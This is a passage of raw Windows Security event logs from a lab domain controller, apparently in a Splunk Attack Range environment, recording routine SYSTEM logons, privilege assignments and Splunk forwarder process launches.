the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:58:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256964 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x489519 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:58:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256963 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x489519 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59231 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:58:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256962 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x489519 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:59:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256965 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256966 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256967 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1374 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256968 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256969 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256971 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256970 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1084 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:59:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256974 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x48CA67 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:59:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256973 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x48CA67 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59244 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:59:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256972 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x48CA67 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:00:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256975 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256976 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256977 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x458 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256978 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256979 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256981 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256980 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:00:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256984 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x48FFD8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:00:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256983 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x48FFD8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59258 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a 